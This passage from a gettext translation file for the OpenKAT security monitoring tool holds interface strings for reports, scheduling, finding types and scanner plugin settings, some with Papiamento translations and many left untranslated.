\"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"Rapport\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"Opheto di entrada\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"Fecha\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"KAT-ID\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"ID úniko den OpenKAT, pa e tipo aki\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"Título\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"Duna e tipo di diskubrimentu un título adequá\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"Deskribí e tipo di diskubrimentu\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"Riésgo\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"Solushón\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"Kon esaki por wordu solushoná?\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"Deskribí kon e tipo di diskubrimientu aki por wordu solushoná\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"Referensia\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"For fabor duna algún referensianan riba e solushon\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"For fabor duna fuente i referensia di e solushon sugerá\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"Diskripshon di impákto\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"Deskribi e impaktonan di e solushon\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"Solushon oportunidát\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"Impakto di solushon\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"Esfuerso di Solushon\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"ID mester kuminsa ku \"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"Tipo di diskubrimientu no ta èksisti\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"Klik pa selektá ùn di e opcionnan dísponibel\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"Prueba\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"Duna evidencia di bo diskubrimientu\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"Reprodusí diskubrimentu\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"Reprodusí diskubrimentu\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"Por fabor splika kon ta reprodusí bo diskubrimentu\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"Fecha/Tempu (UTC)\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"Doc! Mi ta bin di futuro, mi tei pa hibabu bèk!\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"OOI no ta èksisti\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"Mustra diskubrimentu non-muted\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"Mustra diskubrimentu muted\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"Mustra diskubrimentu muted i non-muted\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"Filtra pa gravedat\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"Filtra pa diskubrimentu muted\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"Buska\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"Tipo di filternan\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"Nivél di Autorisashon\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\n#, fuzzy\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"Mustra ophetonan ku no tin nivel di skan pa Boefjes\"\n\n#: tools/forms/ooi.py\n#, fuzzy\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"Mustra Boefjes ku ku a surpasa OOI's su nivel di autorisashon\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"opcion\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"Opshonalmente skohé un {option_label}\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"Por favor skohé un {option_label}\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"Filtra pa nivel di autorisashon\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"Filtra pa tipo autorisashon\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"Di\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"Pa\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"Kompletá\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"Despachá\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"Enfila\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"Buska riba nómber di opheto\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"--- Mustra tur ---\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"Rekomendashon\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"bajo\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"mediano\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"haltu\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"hopi haltu\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"kritikó\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"quickfix\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"Deklará\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"Heredá\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"Bashi\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"Añadí un tipo di diskubrimentu ID pa kada liña.\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"Agrega e fecha y ora di bo diskubrimentu (UTC)\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\"OpenKAT ta warda indikashon di tempu pa kada obserbashon, kèmèn ta posíbel \"\n\"pa mira kada status di bo nètwèrk via di e orario. Selektá un orario pa \"\n\"kambia e aparensia pa representá e momento ey den tempu.\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"Profundidát di mapa\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"Únikamente CSV ta posibel\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"No por decodifiká e archivo\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"Ningun file no a wordu selektá.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"E file ku a wordu manda ta bashi\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"E kantidat di kòlòm nan no ta bon.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"Tipo di OOI den e CSV no ta bon.\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"Un error a surgi durante ku e CSV a wordu procesá:\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"Upload CSV\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"Ta accepta solamente CSV.\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"Tipo di opheto\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"Eskohé un tipo kaminda ophetonan lo wordu agrega na dje.\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"Mime types\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\"<p>Agregá un grupo di mime types, separá ku komas, por ehèmpel:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> òf <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Tipo mime ta wordu usá pa activa e normalizador korekto na un arkivo \"\n\"Ora e tipo mime \\\"boefje/dns-records\\\" ta wordu agregá, e normalizador ta \"\n\"spera ku e arkivo ta kontené informashon di skaneo di dns.</p>\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"Subi arkivo\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\"E codigo di organisashon aki ta reservá pa OpenKAT i no por wordu usá. \"\n\"Selektá un otro codigo di organisashon.\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"nobo\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"Miembronan\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"Aktivá\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"Nobo\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"No blòkiá\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\"Bo a konfia e miembro aki ku un nivel di autorisashon di L{}. E miembro aki\\n\"\n\"mester tin almenos un nivel di autorisashon di L{} pa por hasi un adaptashon \"\n\"adekuá.\\n\"\n\"Editá e miembro aki i kambia e nivel di autorisashon si ta nesesario.\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr 